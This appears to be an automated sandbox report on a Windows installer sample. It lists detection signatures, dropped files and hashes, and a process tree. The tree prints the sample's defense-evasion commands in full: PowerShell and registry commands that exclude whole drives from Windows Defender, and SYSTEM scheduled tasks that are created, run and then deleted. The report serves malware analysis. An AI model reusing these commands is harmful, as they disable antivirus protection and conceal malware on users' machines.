Analysis

  • max time kernel
    150s
  • max time network
    143s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    31/08/2026, 04:36

General

  • Target
    install_q0.3.02.exe
  • Size 25.8MB
  • Sample260831-e79tmadk7w
  • SHA256 df7919e6b769a27f4612a025fe96cc0481927e852a667bf1ea2d87f8de165f64
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install_q0.3.02.exe
    "C:\Users\Admin\AppData\Local\Temp\install_q0.3.02.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:936
  • C:\Users\Public\qa9lpQ\YazsQC.exe
    "C:\Users\Public\qa9lpQ\YazsQC.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5596
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:4940
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\qa9lpQ\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:916
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\qa9lpQ\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5400
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:1328
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:2908
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:1104
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2084
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:1712
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:2012
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:2020
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:3936
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:3040
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:1924
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:4788
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:2336
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:3404
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:1392
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:2992
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:1864
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:1584
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4132
                      • C:\Users\Public\qa9lpQ\YazsQC.exe
                        "C:\Users\Public\qa9lpQ\YazsQC.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:4588
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\qa9lpQ" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:2868
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\qa9lpQ" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:5388
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:5432
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4792
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4260
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5272
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3364
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5972
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5048

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              UxEnhance64.dll

                              • Path C:\Users\Public\qa9lpQ\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 3c8cb95278e11cb9306157156602b72680087f8ed418ec7b74bef9457a3a1c42
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              YazsQC.exe

                              • Path C:\Users\Public\qa9lpQ\YazsQC.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\qa9lpQ\adoresd.dat
                              • Size 4.7MB
                              • SHA256 8988d67b06355bd16ebddb98a77d52772e5c4eefd3f6ee61a460505d0e552fe3
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\qa9lpQ\msadox.tb
                              • Size 8KB
                              • SHA256 037dfb1eeb0f9e510fbec4d783bbd3011a0c850625838d96eff5cd5d75f9b6e2
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/936-1-0x0000000000660000-0x000000000066E000-memory.dmp

                              memory/936-2-0x00000000007B0000-0x00000000007BC000-memory.dmp

                              memory/936-504-0x00007FF9ED930000-0x00007FF9ED942000-memory.dmp

                              memory/936-527-0x00007FF9ED930000-0x00007FF9ED942000-memory.dmp

                              memory/936-526-0x0000000000660000-0x000000000066E000-memory.dmp

                              memory/936-0-0x0000000000660000-0x000000000066E000-memory.dmp

                              memory/4588-580-0x00007FF9FA380000-0x00007FF9FA382000-memory.dmp

                              memory/4588-574-0x00007FF9D78D0000-0x00007FF9D7DEE000-memory.dmp

                              memory/4588-585-0x0000021B6E180000-0x0000021B6EA07000-memory.dmp

                              memory/4588-587-0x0000021B6E180000-0x0000021B6EA07000-memory.dmp

                              memory/4588-586-0x0000021B6E180000-0x0000021B6EA07000-memory.dmp

                              memory/4588-588-0x0000021B6E180000-0x0000021B6EA07000-memory.dmp

                              memory/4588-589-0x00007FF9FA370000-0x00007FF9FA372000-memory.dmp

                              memory/4588-581-0x0000021B6E180000-0x0000021B6EA07000-memory.dmp

                              memory/4588-578-0x0000021B6E180000-0x0000021B6EA07000-memory.dmp

                              memory/4940-610-0x0000028349AE0000-0x0000028349AEA000-memory.dmp

                              memory/4940-607-0x0000028349B10000-0x0000028349BC2000-memory.dmp

                              memory/4940-606-0x0000028349AF0000-0x0000028349B0E000-memory.dmp

                              memory/4940-601-0x0000028349AA0000-0x0000028349AC2000-memory.dmp

                              memory/5596-540-0x00007FF9FA380000-0x00007FF9FA382000-memory.dmp

                              memory/5596-561-0x000002402C140000-0x000002402C1CA000-memory.dmp

                              memory/5596-565-0x000002402B8B0000-0x000002402C137000-memory.dmp

                              memory/5596-567-0x000002402B8B0000-0x000002402C137000-memory.dmp

                              memory/5596-568-0x000002402B8B0000-0x000002402C137000-memory.dmp

                              memory/5596-563-0x000002402C140000-0x000002402C1CA000-memory.dmp

                              memory/5596-562-0x000002402C140000-0x000002402C1CA000-memory.dmp

                              memory/5596-532-0x00007FF9FA370000-0x00007FF9FA372000-memory.dmp

                              memory/5596-560-0x000002402C140000-0x000002402C1CA000-memory.dmp

                              memory/5596-558-0x000002402ADC0000-0x000002402AE0E000-memory.dmp

                              memory/5596-552-0x000002402B8B0000-0x000002402C137000-memory.dmp

                              memory/5596-533-0x00007FF9D78D0000-0x00007FF9D7DEE000-memory.dmp

                              memory/5596-548-0x000002402B8B0000-0x000002402C137000-memory.dmp

                              memory/5596-547-0x000002402B8B0000-0x000002402C137000-memory.dmp

                              memory/5596-546-0x000002402B8B0000-0x000002402C137000-memory.dmp

                              memory/5596-545-0x000002402B8B0000-0x000002402C137000-memory.dmp

                              memory/5596-541-0x000002402B8B0000-0x000002402C137000-memory.dmp

                              memory/5596-609-0x000002402B8B0000-0x000002402C137000-memory.dmp

                              memory/5596-538-0x000002402B8B0000-0x000002402C137000-memory.dmp